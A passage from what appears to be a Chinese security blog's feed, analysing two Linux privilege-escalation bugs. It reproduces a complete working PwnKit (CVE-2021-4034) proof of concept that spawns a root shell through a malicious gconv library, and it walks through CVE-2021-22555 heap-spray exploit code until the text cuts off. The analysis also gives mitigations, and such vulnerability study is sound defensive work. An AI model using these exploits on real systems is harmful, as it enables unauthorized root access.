href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034" target="_blank" rel="noopener">指出</a>如果 PATH 环境变量是 <code>PATH=name</code>,并且目录 <code>name</code> 存在(在当前工作目录中)并且包含一个名为 <code>value</code> 的可执行文件,则写入一个指向字符串 <code>name/value</code> 的指针越界到 <code>envp[0]</code>。</p><p>进一步,让这个组合的文件名里包含等号 “=”。传入 <code>PATH=name=.</code> ,创建一个 <code>name=.</code> 目录,并在其中放一个可执行文件 <code>value</code>,最终 <code>envp[0]</code> 就会被篡改为 <code>name=./value</code>,也就是注入了一个新的环境变量进去。</p><p>换句话说,这种越界写入可以绕过原有的安全检查,将不安全的环境变量(例如,LD_PRELOAD)重新引入 pkexec 的环境。</p><h3 id="寻找不安全的环境变量"><a href="#寻找不安全的环境变量" class="headerlink" title="寻找不安全的环境变量"></a>寻找不安全的环境变量</h3><p>新的问题是:要成功利用这个漏洞,应该将哪个不安全变量重新引入 pkexec 的环境中?我们的选择是有限的,因为在越界写入后不久(L639),pkexec 完全清除了它的环境(L702):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">639</span> argv[n] = path = s;</span><br><span class="line">...</span><br><span class="line"><span class="number">657</span> <span class="keyword">for</span> (n = <span class="number">0</span>; environment_variables_to_save[n] != <span class="literal">NULL</span>; n++)</span><br><span class="line"><span class="number">658</span> {</span><br><span class="line"><span class="number">659</span> <span class="keyword">const</span> gchar *key = environment_variables_to_save[n];</span><br><span class="line">...</span><br><span class="line"><span class="number">662</span> value = g_getenv (key);</span><br><span class="line">...</span><br><span class="line"><span class="number">670</span> <span class="keyword">if</span> (!validate_environment_variable (key, value))</span><br><span class="line">...</span><br><span class="line"><span class="number">675</span> }</span><br><span class="line">...</span><br><span class="line"><span class="number">702</span> <span class="keyword">if</span> (clearenv () != <span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>答案来自于 pkexec 的复杂性:为了向 stderr 打印错误消息,pkexec 调用 GLib 的函数 <code>g_printerr()</code>(注意:GLib 是 GNOME 库,而不是 GNU C 库,即 glibc);例如,函数 <code>validate_environment_variable()</code> 和 <code>log_message()</code> 调用 <code>g_printerr()</code> (L126,L408-L409):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"> <span class="number">88</span> log_message (gint level,</span><br><span class="line"> <span class="number">89</span> gboolean print_to_stderr,</span><br><span class="line"> <span class="number">90</span> <span class="keyword">const</span> gchar *format,</span><br><span class="line"> <span class="number">91</span> ...)</span><br><span class="line"> <span class="number">92</span> {</span><br><span class="line"> ...</span><br><span class="line"> <span class="number">125</span> <span class="keyword">if</span> (print_to_stderr)</span><br><span class="line"> <span class="number">126</span> g_printerr (<span class="string">"%s\n"</span>, s);</span><br><span class="line">------------------------------------------------------------------------</span><br><span class="line"> <span class="number">383</span> validate_environment_variable (<span class="keyword">const</span> gchar *key,</span><br><span class="line"> <span class="number">384</span> <span class="keyword">const</span> gchar *value)</span><br><span class="line"> <span class="number">385</span> {</span><br><span class="line"> ...</span><br><span class="line"> <span class="number">406</span> log_message (LOG_CRIT, TRUE,</span><br><span class="line"> <span class="number">407</span> <span class="string">"The value for the SHELL variable was not found the /etc/shells file"</span>);</span><br><span class="line"> <span class="number">408</span> g_printerr (<span class="string">"\n"</span></span><br><span class="line"> <span class="number">409</span> <span class="string">"This incident has been reported.\n"</span>);</span><br></pre></td></tr></table></figure><p><code>g_printerr()</code> 通常打印 UTF-8 错误消息,但如果环境变量 CHARSET 不是 UTF-8,它可以打印另一个字符集中的消息(注意:CHARSET 不是安全敏感的,它不是不安全的环境变量)。</p><p>要将消息从 UTF-8 转换为另一个字符集,<code>g_printerr()</code> 调用 glibc 的函数 <code>iconv_open()</code>。</p><p>要将消息从一个字符集转换为另一个字符集,<code>iconv_open()</code> 执行小型共享库;通常,这些三元组(“from”字符集、“to”字符集和库名称)是从默认配置文件 <code>/usr/lib/gconv/gconv-modules</code> 中读取的。但环境变量 <code>GCONV_PATH</code> 可以强制 <code>iconv_open()</code> 读取另一个配置文件;所以 <code>GCONV_PATH</code> 是不安全的环境变量之一(因为它会导致执行任意库),因此会被 ld.so 从 SUID 程序的环境中删除。</p><p>我们可以把 <code>GCONV_PATH</code> 重新引入 pkexec 的环境,并以 root 身份执行我们自己的共享库。</p><h3 id="回顾-POC"><a href="#回顾-POC" class="headerlink" title="回顾 POC"></a>回顾 POC</h3><p>现在我们对漏洞原理有了更深的认识,再看一看 POC</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"> <span class="number">1</span> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"> <span class="number">2</span> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"> <span class="number">3</span> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"> <span class="number">4</span> </span><br><span class="line"> <span class="number">5</span> <span class="keyword">char</span> *shell =</span><br><span class="line"> <span class="number">6</span> <span class="string">"#include <stdio.h>\n"</span></span><br><span class="line"> <span class="number">7</span> <span class="string">"#include <stdlib.h>\n"</span></span><br><span class="line"> <span class="number">8</span> <span class="string">"#include <unistd.h>\n\n"</span></span><br><span class="line"> <span class="number">9</span> <span class="string">"void gconv() {}\n"</span></span><br><span class="line"><span class="number">10</span> <span class="string">"void gconv_init() {\n"</span></span><br><span class="line"><span class="number">11</span> <span class="string">" setuid(0); setgid(0);\n"</span></span><br><span class="line"><span class="number">12</span> <span class="string">" seteuid(0); setegid(0);\n"</span></span><br><span class="line"><span class="number">13</span> <span class="string">" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"</span></span><br><span class="line"><span class="number">14</span> <span class="string">" exit(0);\n"</span></span><br><span class="line"><span class="number">15</span> <span class="string">"}"</span>;</span><br><span class="line"><span class="number">16</span> </span><br><span class="line"><span class="number">17</span> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>{</span><br><span class="line"><span class="number">18</span> FILE *fp;</span><br><span class="line"><span class="number">19</span> system(<span class="string">"mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"</span>);</span><br><span class="line"><span class="number">20</span> system(<span class="string">"mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"</span>);</span><br><span class="line"><span class="number">21</span> fp = fopen(<span class="string">"pwnkit/pwnkit.c"</span>, <span class="string">"w"</span>);</span><br><span class="line"><span class="number">22</span> <span class="built_in">fprintf</span>(fp, <span class="string">"%s"</span>, shell);</span><br><span class="line"><span class="number">23</span> fclose(fp); </span><br><span class="line"><span class="number">24</span> system(<span class="string">"gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"</span>);</span><br><span class="line"><span class="number">25</span> <span class="keyword">char</span> *env[] = { <span class="string">"pwnkit"</span>, <span class="string">"PATH=GCONV_PATH=."</span>, <span class="string">"CHARSET=PWNKIT"</span>, <span class="string">"SHELL=pwnkit"</span>, <span class="literal">NULL</span> };</span><br><span class="line"><span class="number">26</span> execve(<span class="string">"/usr/bin/pkexec"</span>, (<span class="keyword">char</span>*[]){<span class="literal">NULL</span>}, env);</span><br><span class="line"><span class="number">27</span> }</span><br></pre></td></tr></table></figure><p>需要新注意的是:</p><ol><li>L26,使用 <code>execve</code> 调用 <code>pkexec</code>,<code>(char*[]){NULL}</code>造成 <code>argv[1]</code> 越界读取</li><li>L25,一个特殊的数组,env[0]为 payload,env[1]引入了<code>GCONV_PATH</code></li><li>L20,设置非UTF-8环境,也就导致 payload 中 <code>gconv_init</code> 执行,造成 <code>/bin/sh</code> 执行,恢复环境变量得到 root shell。</li></ol><h2 id="0x03-漏洞总结"><a href="#0x03-漏洞总结" class="headerlink" title="0x03 漏洞总结"></a>0x03 漏洞总结</h2><p>总结一下该漏洞的利用思路:</p><ol><li>通过设置 <code>execve()</code> 的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查</li><li>通过 <code>g_printerr</code> 函数发现可控的不安全环境变量 <code>GCONV_PATH</code></li><li>构造畸形的路径使 <code>pkexec</code> 从指定路径读取环境变量完成提权</li></ol><p>这个漏洞的质量非常好,利用思路也很有趣,借用一下 Qualys 对该漏洞的<a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt" target="_blank" rel="noopener">评价</a>:</p><blockquote><p>这个漏洞是攻击者的梦想成真。</p><ul><li>pkexec 默认安装在所有主要的 Linux 发行版上(我们利用了 Ubuntu、Debian、Fedora、CentOS,而其他发行版也可能利用)</li><li>pkexec 自 2009 年 5 月创建以来就存在漏洞(commit c8c3d83, “Add a pkexec(1) command”)</li><li>任何没有特权的本地用户都可以利用这个漏洞来获得完全的 root 权限。</li><li>虽然这个漏洞在技术上是一个内存损坏,但它可即时、可靠地、以独立于架构的方式加以利用。</li><li>即使 polkit 守护进程本身没有运行,也可以利用。</li></ul></blockquote><h2 id="0x04-漏洞补丁"><a href="#0x04-漏洞补丁" class="headerlink" title="0x04 漏洞补丁"></a>0x04 漏洞补丁</h2><h3 id="a-如何检测该漏洞"><a href="#a-如何检测该漏洞" class="headerlink" title="a. 如何检测该漏洞"></a>a. 如何检测该漏洞</h3><p>检查组件版本:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">➜ pkexec --version</span><br><span class="line">pkexec version 0.105</span><br></pre></td></tr></table></figure><h3 id="b-如何防御该漏洞"><a href="#b-如何防御该漏洞" class="headerlink" title="b. 如何防御该漏洞"></a>b. 如何防御该漏洞</h3><p>及时升级组件</p><h3 id="c-有没有哪种通用的缓解措施可以阻断该漏洞"><a href="#c-有没有哪种通用的缓解措施可以阻断该漏洞" class="headerlink" title="c. 有没有哪种通用的缓解措施可以阻断该漏洞"></a>c. 有没有哪种通用的缓解措施可以阻断该漏洞</h3><p>Qualys 在 <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt" target="_blank" rel="noopener">报告</a> 中给出了缓解措施:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"># chmod 0755 /usr/bin/pkexec</span><br></pre></td></tr></table></figure><p>即从 pkexec 中删除 SUID 位</p><p>RedHat 给出了针对该漏洞的缓解措施:</p><blockquote><p>https://access.redhat.com/security/vulnerabilities/RHSB-2022-001</p></blockquote><h2 id="0x05-参考"><a href="#0x05-参考" class="headerlink" title="0x05 参考"></a>0x05 参考</h2><ol><li><a href="https://mp.weixin.qq.com/s/3rnkcRfX_BxzlVzp0stQRw" target="_blank" rel="noopener">CVE-2021-4034 pkexec 本地提权 - 非尝咸鱼贩 [2022-01-26]</a></li><li><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034" target="_blank" rel="noopener">PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) | Qualys Security Blog</a></li><li>https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt</li><li>演示视频:<a href="https://vimeo.com/669715589" target="_blank" rel="noopener">PwnKit Vulnerability on Vimeo</a></li><li>Commit:<a href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683" target="_blank" rel="noopener">pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab</a></li><li>POC:<a href="https://github.com/arthepsy/CVE-2021-4034" target="_blank" rel="noopener">arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)</a></li><li><a href="https://www.openwall.com/lists/oss-security/2022/01/25/11" target="_blank" rel="noopener">oss-security - pwnkit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)</a></li><li><a href="https://cert.360.cn/warning/detail?id=25d7a6ec96c91ca4e4238fd10da2c778" target="_blank" rel="noopener">CVE-2021-4034:Linux Polkit 权限提升漏洞通告 - 360CERT [2022-01-26]</a></li></ol><h3 id="更早的相关研究"><a href="#更早的相关研究" class="headerlink" title="更早的相关研究"></a>更早的相关研究</h3><ul><li><a href="https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/" target="_blank" rel="noopener">Privilege escalation with polkit: How to get root on Linux with a seven-year-old bug | The GitHub Blog [2021-06-10]</a></li><li><a href="https://ryiron.wordpress.com/2013/12/16/argv-silliness/" target="_blank" rel="noopener">argv silliness | ~ryiron [2013-12-16]</a></li><li><a href="https://www.exploit-db.com/exploits/17942" target="_blank" rel="noopener">pkexec - Race Condition Privilege Escalation (CVE-2011-1485) - Linux local Exploit [2011-10-08]</a></li><li><a href="https://www.openwall.com/lists/oss-security/2014/07/14/1" target="_blank" rel="noopener">glibc locale issues - Tavis Ormandy [2014-07-14]</a></li><li><a href="https://www.openwall.com/lists/oss-security/2017/06/23/8" target="_blank" rel="noopener">charset.alias in pkexec/glib/gnulib (was: glibc locale issues) - Jakub Wilk [2017-06-23]</a></li><li><a href="https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/" target="_blank" rel="noopener">Getting Arbitrary Code Execution from fopen’s 2nd Argument | The Pwnbroker [2019-11-04]</a></li><li><a href="https://www.slideshare.net/SilvioCesare/simple-bugs-and-vulnerabilities-in-linux-distributions" target="_blank" rel="noopener">Simple Bugs and Vulnerabilities in Linux Distributions - Silvio Cesare [2011-03-25]</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x00-作者"><a href="#0x00-作者" class="headerlink" title="0x00 作者"></a>0x00 作者</h2><p>钱程 of <a href="https://www.iceswordlab.com/about/"
</summary>
</entry>
<entry>
<title>CVE-2021-22555漏洞分析</title>
<link href="http://yoursite.com/2021/12/27/CVE-2021-22555/"/>
<id>http://yoursite.com/2021/12/27/CVE-2021-22555/</id>
<published>2021-12-27T14:00:00.000Z</published>
<updated>2025-07-16T10:02:19.306Z</updated>
<content type="html"><![CDATA[<h1 id="CVE-2021-22555漏洞分析"><a href="#CVE-2021-22555漏洞分析" class="headerlink" title="CVE-2021-22555漏洞分析"></a>CVE-2021-22555漏洞分析</h1><p>author: moxingyuan from iceswordlab </p><h2 id="一、漏洞背景"><a href="#一、漏洞背景" class="headerlink" title="一、漏洞背景"></a>一、漏洞背景</h2><p>CVE-2021-22555是一个存在了15年之久的内核堆溢出漏洞,它位于内核的Netfilter组件中,这个组件可以被用来实现防火墙、NAT等功能。</p><p>该漏洞在2006年由commit <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=9fa492cdc160cd27ce1046cb36f47d3b2b1efa21" target="_blank" rel="noopener">9fa492cdc160cd27ce1046cb36f47d3b2b1efa21</a>引入,并在2021年由commit <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=9fa492cdc160cd27ce1046cb36f47d3b2b1efa21" target="_blank" rel="noopener">b29c457a6511435960115c0f548c4360d5f4801d</a>修复。</p><p>利用这个漏洞可以导致目标系统拒绝服务,甚至实现提权、容器逃逸并执行任意代码,危害等级极高。</p><h2 id="二、漏洞分析"><a href="#二、漏洞分析" class="headerlink" title="二、漏洞分析"></a>二、漏洞分析</h2><p>漏洞位于net/netfilter/x_tables.c的xt_compat_target_from_user函数:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c</span><br><span class="line">void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,</span><br><span class="line">unsigned int *size)</span><br><span class="line">{</span><br><span class="line">const struct xt_target *target = t->u.kernel.target;</span><br><span class="line">struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;</span><br><span class="line">int pad, off = xt_compat_target_offset(target);</span><br><span class="line">u_int16_t tsize = ct->u.user.target_size;</span><br><span class="line">char name[sizeof(t->u.user.name)];</span><br><span class="line"></span><br><span class="line">t = *dstptr;</span><br><span class="line">memcpy(t, ct, sizeof(*ct));</span><br><span class="line">if (target->compat_from_user)</span><br><span class="line">target->compat_from_user(t->data, ct->data);</span><br><span class="line">else</span><br><span class="line">memcpy(t->data, ct->data, tsize - sizeof(*ct));</span><br><span class="line">pad = XT_ALIGN(target->targetsize) - target->targetsize;</span><br><span class="line">if (pad > 0)</span><br><span class="line">memset(t->data + target->targetsize, 0, pad);</span><br><span class="line"></span><br><span class="line">tsize += off;</span><br><span class="line">t->u.user.target_size = tsize;</span><br><span class="line">strlcpy(name, target->name, sizeof(name));</span><br><span class="line">module_put(target->me);</span><br><span class="line">strncpy(t->u.user.name, name, sizeof(t->u.user.name));</span><br><span class="line"></span><br><span class="line">*size += off;</span><br><span class="line">*dstptr += tsize;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>缓冲区溢出发生在memset(t->data + target->targetsize, 0, pad)这个语句,其本意是讲已经对齐的缓冲区多余的pad个字节清零。由于在分配内存的时候没有考虑到对齐,t->data之后只有target->targetsize个字节的有效存储空间,导致这里会发生pad个字节的溢出。通过选择不同的target,可以控制targetsize,进而控制溢出字节数pad。</p><p>要让内核执行到有漏洞的xt_compat_target_from_user函数,需要在用户空间调用setsockopt,并提供IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE作为第3个参数。这个操作需要用户进程拥有CAP_NET_ADMIN能力,而这个能力可以通过切换到新的用户+网络名称空间来获得。</p><h2 id="三、EXP分析"><a href="#三、EXP分析" class="headerlink" title="三、EXP分析"></a>三、EXP分析</h2><p><a href="https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c" target="_blank" rel="noopener">EXP下载地址</a></p><p>EXP整体思路是利用堆溢出改写特殊链表的指针,进而实现UAF,最后改写特定内核结构体的函数指针来实现代码执行。</p><h3 id="3-1-实现UAF"><a href="#3-1-实现UAF" class="headerlink" title="3.1 实现UAF"></a>3.1 实现UAF</h3><h4 id="3-1-1-申请消息队列"><a href="#3-1-1-申请消息队列" class="headerlink" title="3.1.1 申请消息队列"></a>3.1.1 申请消息队列</h4><p>通过msgget申请NUM_MSQIDS个消息队列,在EXP中NUM_MSQIDS等于4096。消息队列数目没有特殊要求,数目越多则EXP越稳定,原因后面会解释。这步是为后面的堆喷做准备。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">for (int i = 0; i < NUM_MSQIDS; i++) {</span><br><span class="line"> if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {</span><br><span class="line"> perror("[-] msgget");</span><br><span class="line"> goto err_no_rmid;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="3-1-2-发送主要消息"><a href="#3-1-2-发送主要消息" class="headerlink" title="3.1.2 发送主要消息"></a>3.1.2 发送主要消息</h4><p>通过msgsnd给每个消息队列都发送一个4096字节的消息,暂且称这些消息为主要消息,每个消息的内容是其所在消息队列的序号,分别为0-4095。注意这里所谓的4096字节并非指消息内容的长度,而是指消息传递到内核空间之后,内核为容纳该消息而开辟的堆缓冲区的大小,该缓冲区容纳了一个结构体msg_msg的实例和消息的实际内容,后面所提及的“消息长度”都是指内核缓冲区的长度。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Spraying primary messages...\n");</span><br><span class="line">for (int i = 0; i < NUM_MSQIDS; i++) {</span><br><span class="line"> memset(&msg_primary, 0, sizeof(msg_primary));</span><br><span class="line"> *(int *)&msg_primary.mtext[0] = MSG_TAG;</span><br><span class="line"> *(int *)&msg_primary.mtext[4] = i;</span><br><span class="line"> if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <</span><br><span class="line"> 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {</span><br><span class="line"> *(long *)msgp = msgtyp;</span><br><span class="line"> if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {</span><br><span class="line"> perror("[-] msgsnd");</span><br><span class="line"> return -1;</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里所使用的msgsnd函数是最常用的堆喷手段之一,因为传递的消息内容会一成不变地复制到内核缓冲区中,这样就可以达到控制内核缓冲区内容的目的。当消息传递到内核空间时,内核是通过alloc_msg函数来申请堆缓冲区的:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c</span><br><span class="line">static struct msg_msg *alloc_msg(size_t len)</span><br><span class="line">{</span><br><span class="line">struct msg_msg *msg;</span><br><span class="line">struct msg_msgseg **pseg;</span><br><span class="line">size_t alen;</span><br><span class="line"></span><br><span class="line">// 取实际消息长度len和DATALEN_MSG中的最小值为第一个消息分片的长度</span><br><span class="line">alen = min(len, DATALEN_MSG);</span><br><span class="line">// 为首个消息分片开辟缓冲区,长度为结构体msg_msg加上alen</span><br><span class="line">msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);</span><br><span class="line">if (msg == NULL)</span><br><span class="line">return NULL;</span><br><span class="line"></span><br><span class="line">msg->next = NULL;</span><br><span class="line">msg->security = NULL;</span><br><span class="line"></span><br><span class="line">len -= alen;</span><br><span class="line">pseg = &msg->next;</span><br><span class="line">// 若首个消息分片不足以容纳完整的消息,将陆续开辟后续的消息分片</span><br><span class="line">while (len > 0) {</span><br><span class="line">struct msg_msgseg *seg;</span><br><span class="line"></span><br><span class="line">cond_resched();</span><br><span class="line"></span><br><span class="line">alen = min(len, DATALEN_SEG);</span><br><span class="line">// 为后续消息分片开辟缓冲区,长度为结构体msg_msgseg加上alen</span><br><span class="line">seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);</span><br><span class="line">if (seg == NULL)</span><br><span class="line">goto out_err;</span><br><span class="line">*pseg = seg;</span><br><span class="line">seg->next = NULL;</span><br><span class="line">pseg = &seg->next;</span><br><span class="line">len -= alen;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">return msg;</span><br><span class="line"></span><br><span class="line">out_err:</span><br><span class="line">free_msg(msg);</span><br><span class="line">return NULL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中,结构体msg_msg的定义如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">struct msg_msg {</span><br><span class="line">struct list_head m_list;</span><br><span class="line">long m_type;</span><br><span class="line">size_t m_ts;/* message text size */</span><br><span class="line">struct msg_msgseg *next;</span><br><span class="line">void *security;</span><br><span class="line">/* the actual message follows immediately */</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">struct list_head {</span><br><span class="line"> struct list_head *next, *prev;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>内核为消息开辟好缓冲区后,会将其插入到每个消息队列中,形成一个双向链表,每个消息的m_list.next指针指向下一个消息,m_list.prev指向前一个消息。</p><p>需要注意的是,当消息实际内容的长度大于阈值DATALEN_MSG时,内核会对消息进行分片,这在利用过程中是必须要避免的,所幸的是这里选择的长度并不会导致消息分片。</p><p>发送完后,极大概率存在部分主要消息在地址上是连续的:</p><p><img src="/2021/12/27/CVE-2021-22555/1.png" alt></p><h4 id="3-1-3-发送次要消息"><a href="#3-1-3-发送次要消息" class="headerlink" title="3.1.3 发送次要消息"></a>3.1.3 发送次要消息</h4><p>再给每个消息队列发送1024个字节的次要消息,每个消息的内容同样是其所在消息队列的序号。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Spraying secondary messages...\n");</span><br><span class="line">for (int i = 0; i < NUM_MSQIDS; i++) {</span><br><span class="line"> memset(&msg_secondary, 0, sizeof(msg_secondary));</span><br><span class="line"> *(int *)&msg_secondary.mtext[0] = MSG_TAG;</span><br><span class="line"> *(int *)&msg_secondary.mtext[4] = i;</span><br><span class="line"> if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),</span><br><span class="line"> MTYPE_SECONDARY) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>发送完后,每个主要消息后面都会跟着一个次要消息,且它们的内容是相同的:</p><p><img src="/2021/12/27/CVE-2021-22555/2.png" alt></p><h4 id="3-1-4-释放部分主要消息"><a href="#3-1-4-释放部分主要消息" class="headerlink" title="3.1.4 释放部分主要消息"></a>3.1.4 释放部分主要消息</h4><p>从第1024号队列开始,每隔1024个队列释放一个主要消息,这一步释放的缓冲区将在后面触发漏洞时重新申请使用,将间隔设置为1024也是因为这样选出的主要消息所在的内存位置之后紧邻另一个主要消息的可能性更大。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Creating holes in primary messages...\n");</span><br><span class="line">for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {</span><br><span class="line"> if 